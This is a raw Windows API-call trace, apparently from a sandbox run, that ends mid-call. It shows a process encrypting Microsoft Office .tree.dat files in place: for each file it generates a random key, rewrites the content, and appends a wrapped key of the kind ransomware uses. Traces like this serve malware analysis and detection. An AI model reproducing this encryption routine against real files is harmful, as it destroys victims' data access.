1 [0212.261] SetFilePointer (in: hFile=0x2220, lDistanceToMove=-20374, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0212.261] WriteFile (in: hFile=0x2220, lpBuffer=0x30e9018*, nNumberOfBytesToWrite=0x4f96, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e9018*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4f96, lpOverlapped=0x0) returned 1 [0212.262] SetFilePointer (in: hFile=0x2220, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4f96 [0212.262] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0212.262] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e0528*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e0528*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0212.263] WriteFile (in: hFile=0x2220, lpBuffer=0x30e0528*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e0528*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0212.263] WriteFile (in: hFile=0x2220, lpBuffer=0x30f6900*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6900*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0212.263] CloseHandle (hObject=0x2220) returned 1 [0212.265] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30df190 | out: pbBuffer=0x30df190) returned 1 [0212.265] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f69c0 | out: pbBuffer=0x30f69c0) returned 1 [0212.265] SetFileAttributesW (lpFileName="\\Program Files\\Microsoft Office\\root\\rsod\\proof.es-es.msi.16.es-es.tree.dat", dwFileAttributes=0x80) returned 1 [0212.265] ReadFile (in: hFile=0x2220, lpBuffer=0x30e4078, nNumberOfBytesToRead=0x5de7, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e4078*, lpNumberOfBytesRead=0x2e1f9bc*=0x5de7, lpOverlapped=0x0) returned 1 [0212.274] SetFilePointer (in: hFile=0x2220, lDistanceToMove=-24039, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0212.274] WriteFile (in: hFile=0x2220, lpBuffer=0x34be010*, nNumberOfBytesToWrite=0x5de7, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x34be010*, lpNumberOfBytesWritten=0x2e1f9bc*=0x5de7, lpOverlapped=0x0) returned 1 [0212.274] SetFilePointer (in: hFile=0x2220, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x5de7 [0212.274] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0212.274] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30df190*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30df190*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0212.275] WriteFile (in: hFile=0x2220, lpBuffer=0x30df190*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30df190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0212.275] WriteFile (in: hFile=0x2220, lpBuffer=0x30f69c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f69c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0212.275] CloseHandle (hObject=0x2220) returned 1 [0212.277] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30df298 | out: pbBuffer=0x30df298) returned 1 [0212.277] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6980 | out: pbBuffer=0x30f6980) returned 1 [0212.277] SetFileAttributesW (lpFileName="\\Program Files\\Microsoft Office\\root\\rsod\\proof.es-es.msi.16.es-es.boot.tree.dat", dwFileAttributes=0x80) returned 1 [0212.277] ReadFile (in: hFile=0x2220, lpBuffer=0x30e4078, nNumberOfBytesToRead=0x4f6a, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e4078*, lpNumberOfBytesRead=0x2e1f9bc*=0x4f6a, lpOverlapped=0x0) returned 1 [0212.290] SetFilePointer (in: hFile=0x2220, lDistanceToMove=-20330, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0212.290] WriteFile (in: hFile=0x2220, lpBuffer=0x30e8ff0*, nNumberOfBytesToWrite=0x4f6a, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e8ff0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4f6a, lpOverlapped=0x0) returned 1 [0212.291] SetFilePointer (in: hFile=0x2220, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4f6a [0212.291] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0212.291] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30df298*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30df298*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0212.291] WriteFile (in: hFile=0x2220, lpBuffer=0x30df298*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30df298*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0212.292] WriteFile (in: hFile=0x2220, lpBuffer=0x30f6980*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6980*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0212.292] CloseHandle (hObject=0x2220) returned 1 [0212.294] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e0210 | out: pbBuffer=0x30e0210) returned 1 [0212.294] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6a50 | out: pbBuffer=0x30f6a50) returned 1 [0212.294] SetFileAttributesW (lpFileName="\\Program Files\\Microsoft Office\\root\\rsod\\proof.en-us.msi.16.en-us.tree.dat", dwFileAttributes=0x80) returned 1 [0212.295] ReadFile (in: hFile=0x2220, lpBuffer=0x30e4078, nNumberOfBytesToRead=0x4a74, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e4078*, lpNumberOfBytesRead=0x2e1f9bc*=0x4a74, lpOverlapped=0x0) returned 1 [0212.306] SetFilePointer (in: hFile=0x2220, lDistanceToMove=-19060, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0212.306] WriteFile (in: hFile=0x2220, lpBuffer=0x30e8af8*, nNumberOfBytesToWrite=0x4a74, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e8af8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4a74, lpOverlapped=0x0) returned 1 [0212.307] SetFilePointer (in: hFile=0x2220, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4a74 [0212.307] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0212.307] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e0210*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e0210*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0212.307] WriteFile (in: hFile=0x2220, lpBuffer=0x30e0210*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e0210*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0212.308] WriteFile (in: hFile=0x2220, lpBuffer=0x30f6a50*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6a50*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0212.308] CloseHandle (hObject=0x2220) returned 1 [0212.309] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30df8c8 | out: pbBuffer=0x30df8c8) returned 1 [0212.309] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6ae0 | out: pbBuffer=0x30f6ae0) returned 1 [0212.309] SetFileAttributesW (lpFileName="\\Program Files\\Microsoft Office\\root\\rsod\\proof.en-us.msi.16.en-us.boot.tree.dat", dwFileAttributes=0x80) returned 1 [0212.310] ReadFile (in: hFile=0x2220, lpBuffer=0x30e4078, nNumberOfBytesToRead=0x47f6, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e4078*, lpNumberOfBytesRead=0x2e1f9bc*=0x47f6, lpOverlapped=0x0) returned 1 [0212.320] SetFilePointer (in: hFile=0x2220, lDistanceToMove=-18422, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0212.320] WriteFile (in: hFile=0x2220, lpBuffer=0x30e8878*, nNumberOfBytesToWrite=0x47f6, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e8878*, lpNumberOfBytesWritten=0x2e1f9bc*=0x47f6, lpOverlapped=0x0) returned 1 [0212.320] SetFilePointer (in: hFile=0x2220, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x47f6 [0212.320] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0212.320] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30df8c8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30df8c8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0212.321] WriteFile (in: hFile=0x2220, lpBuffer=0x30df8c8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30df8c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0212.321] WriteFile (in: hFile=0x2220, lpBuffer=0x30f6ae0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6ae0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0212.321] CloseHandle (hObject=0x2220) returned 1 [0212.324] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30df6b8 | out: pbBuffer=0x30df6b8) returned 1 [0212.324] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6a70 | out: pbBuffer=0x30f6a70) returned 1 [0212.325] SetFileAttributesW (lpFileName="\\Program Files\\Microsoft Office\\root\\rsod\\projectmui.msi.16.en-us.tree.dat", dwFileAttributes=0x80) returned 1 [0212.325] ReadFile (in: hFile=0x2220, lpBuffer=0x30e4078, nNumberOfBytesToRead=0x76a0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e4078*, lpNumberOfBytesRead=0x2e1f9bc*=0x76a0, lpOverlapped=0x0) returned 1 [0212.338] SetFilePointer (in: hFile=0x2220, lDistanceToMove=-30368, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0212.338] WriteFile (in: hFile=0x2220, lpBuffer=0x34be010*, nNumberOfBytesToWrite=0x76a0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x34be010*, lpNumberOfBytesWritten=0x2e1f9bc*=0x76a0, lpOverlapped=0x0) returned 1 [0212.339] SetFilePointer (in: hFile=0x2220, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x76a0 [0212.339] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0212.339] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30df6b8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30df6b8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0212.339] WriteFile (in: hFile=0x2220, lpBuffer=0x30df6b8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30df6b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0212.340] WriteFile (in: hFile=0x2220, lpBuffer=0x30f6a70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6a70*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0212.340] CloseHandle (hObject=0x2220) returned 1 [0212.377] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30df6b8 | out: pbBuffer=0x30df6b8) returned 1 [0212.377] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6980 | out: pbBuffer=0x30f6980) returned 1 [0212.377] SetFileAttributesW (lpFileName="\\Program Files\\Microsoft Office\\root\\rsod\\projectmui.msi.16.en-us.boot.tree.dat", dwFileAttributes=0x80) returned 1 [0212.377] ReadFile (in: hFile=0x2220, lpBuffer=0x30e4078, nNumberOfBytesToRead=0x5fc8, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e4078*, lpNumberOfBytesRead=0x2e1f9bc*=0x5fc8, lpOverlapped=0x0) returned 1 [0212.378] SetFilePointer (in: hFile=0x2220, lDistanceToMove=-24520, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0212.378] WriteFile (in: hFile=0x2220, lpBuffer=0x34be010*, nNumberOfBytesToWrite=0x5fc8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x34be010*, lpNumberOfBytesWritten=0x2e1f9bc*=0x5fc8, lpOverlapped=0x0) returned 1 [0212.379] SetFilePointer (in: hFile=0x2220, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x5fc8 [0212.379] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0212.379] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30df6b8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30df6b8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0212.379] WriteFile (in: hFile=0x2220, lpBuffer=0x30df6b8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30df6b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0212.380] WriteFile (in: hFile=0x2220, lpBuffer=0x30f6980*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6980*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0212.380] CloseHandle (hObject=0x2220) returned 1 [0212.381] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30dfce8 | out: pbBuffer=0x30dfce8) returned 1 [0212.381] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6940 | out: pbBuffer=0x30f6940) returned 1 [0212.381] SetFileAttributesW (lpFileName="\\Program Files\\Microsoft Office\\root\\rsod\\project.x-none.msi.16.x-none.tree.dat", dwFileAttributes=0x80) returned 1 [0212.383] ReadFile (in: hFile=0x2220, lpBuffer=0x36b1020, nNumberOfBytesToRead=0x3a1db, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x36b1020*, lpNumberOfBytesRead=0x2e1f9bc*=0x3a1db, lpOverlapped=0x0) returned 1 [0212.398] SetFilePointer (in: hFile=0x2220, lDistanceToMove=-238043, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0212.398] WriteFile (in: hFile=0x2220, lpBuffer=0x36eb208*, nNumberOfBytesToWrite=0x3a1db, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x36eb208*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3a1db, lpOverlapped=0x0) returned 1 [0212.402] SetFilePointer (in: hFile=0x2220, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3a1db [0212.402] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0212.402] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30dfce8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30dfce8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0212.402] WriteFile (in: hFile=0x2220, lpBuffer=0x30dfce8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dfce8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0212.403] WriteFile (in: hFile=0x2220, lpBuffer=0x30f6940*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6940*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0212.403] CloseHandle (hObject=0x2220) returned 1 [0212.404] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e0e70 | out: pbBuffer=0x30e0e70) returned 1 [0212.404] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6a50 | out: pbBuffer=0x30f6a50) returned 1 [0212.404] SetFileAttributesW (lpFileName="\\Program Files\\Microsoft Office\\root\\rsod\\project.x-none.msi.16.x-none.boot.tree.dat", dwFileAttributes=0x80) returned 1 [0212.405] ReadFile (in: hFile=0x2220, lpBuffer=0x34be010, nNumberOfBytesToRead=0x229c5, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x34be010*, lpNumberOfBytesRead=0x2e1f9bc*=0x229c5, lpOverlapped=0x0) returned 1 [0212.432] SetFilePointer (in: hFile=0x2220, lDistanceToMove=-141765, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0212.432] WriteFile (in: hFile=0x2220, lpBuffer=0x2eeb018*, nNumberOfBytesToWrite=0x229c5, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2eeb018*, lpNumberOfBytesWritten=0x2e1f9bc*=0x229c5, lpOverlapped=0x0) returned 1 [0212.433] SetFilePointer (in: hFile=0x2220, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x229c5 [0212.433] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0212.433] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e0e70*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e0e70*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0212.433] WriteFile (in: hFile=0x2220, lpBuffer=0x30e0e70*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e0e70*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0212.433] WriteFile (in: hFile=0x2220, lpBuffer=0x30f6a50*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6a50*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0212.434] CloseHandle (hObject=0x2220) returned 1 [0212.435] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30df6b8 | out: pbBuffer=0x30df6b8) returned 1 [0212.435] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6930 | out: pbBuffer=0x30f6930) returned 1 [0212.435] SetFileAttributesW (lpFileName="\\Program Files\\Microsoft Office\\root\\rsod\\powerpointmui.msi.16.en-us.tree.dat", dwFileAttributes=0x80) returned 1 [0212.436] ReadFile (in: hFile=0x2220, lpBuffer=0x30e4078, nNumberOfBytesToRead=0x4a23, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e4078*, lpNumberOfBytesRead=0x2e1f9bc*=0x4a23, lpOverlapped=0x0) returned 1 [0212.450] SetFilePointer (in: hFile=0x2220, lDistanceToMove=-18979, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0212.450] WriteFile (in: hFile=0x2220, lpBuffer=0x30e8aa8*, nNumberOfBytesToWrite=0x4a23, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e8aa8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4a23, lpOverlapped=0x0) returned 1 [0212.450] SetFilePointer (in: hFile=0x2220, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4a23 [0212.450] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0212.450] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30df6b8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30df6b8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0212.451] WriteFile (in: hFile=0x2220, lpBuffer=0x30df6b8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30df6b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0212.451] WriteFile (in: hFile=0x2220, lpBuffer=0x30f6930*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6930*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0212.451] CloseHandle (hObject=0x2220) returned 1 [0212.453] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e0000 | out: pbBuffer=0x30e0000) returned 1 [0212.453] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6ab0 | out: pbBuffer=0x30f6ab0) returned 1 [0212.453] SetFileAttributesW (lpFileName="\\Program Files\\Microsoft Office\\root\\rsod\\powerpointmui.msi.16.en-us.boot.tree.dat", dwFileAttributes=0x80) returned 1 [0212.453] ReadFile (in: hFile=0x2220, lpBuffer=0x30e4078, nNumberOfBytesToRead=0x405c, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e4078*, lpNumberOfBytesRead=0x2e1f9bc*=0x405c, lpOverlapped=0x0) returned 1 [0212.454] SetFilePointer (in: hFile=0x2220, lDistanceToMove=-16476, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0212.454] WriteFile (in: hFile=0x2220, lpBuffer=0x30e80e0*, nNumberOfBytesToWrite=0x405c, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e80e0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x405c, lpOverlapped=0x0) returned 1 [0212.454] SetFilePointer (in: hFile=0x2220, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x405c [0212.455] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0212.455] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e0000*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e0000*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0212.455] WriteFile (in: hFile=0x2220, lpBuffer=0x30e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e0000*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0212.455] WriteFile (in: hFile=0x2220, lpBuffer=0x30f6ab0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6ab0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0212.455] CloseHandle (hObject=0x2220) returned 1 [0212.460] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30df7c0 | out: pbBuffer=0x30df7c0) returned 1 [0212.460] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6ae0 | out: pbBuffer=0x30f6ae0) returned 1 [0212.460] SetFileAttributesW (lpFileName="\\Program Files\\Microsoft Office\\root\\rsod\\powerpoint.x-none.msi.16.x-none.tree.dat", dwFileAttributes=0x80) 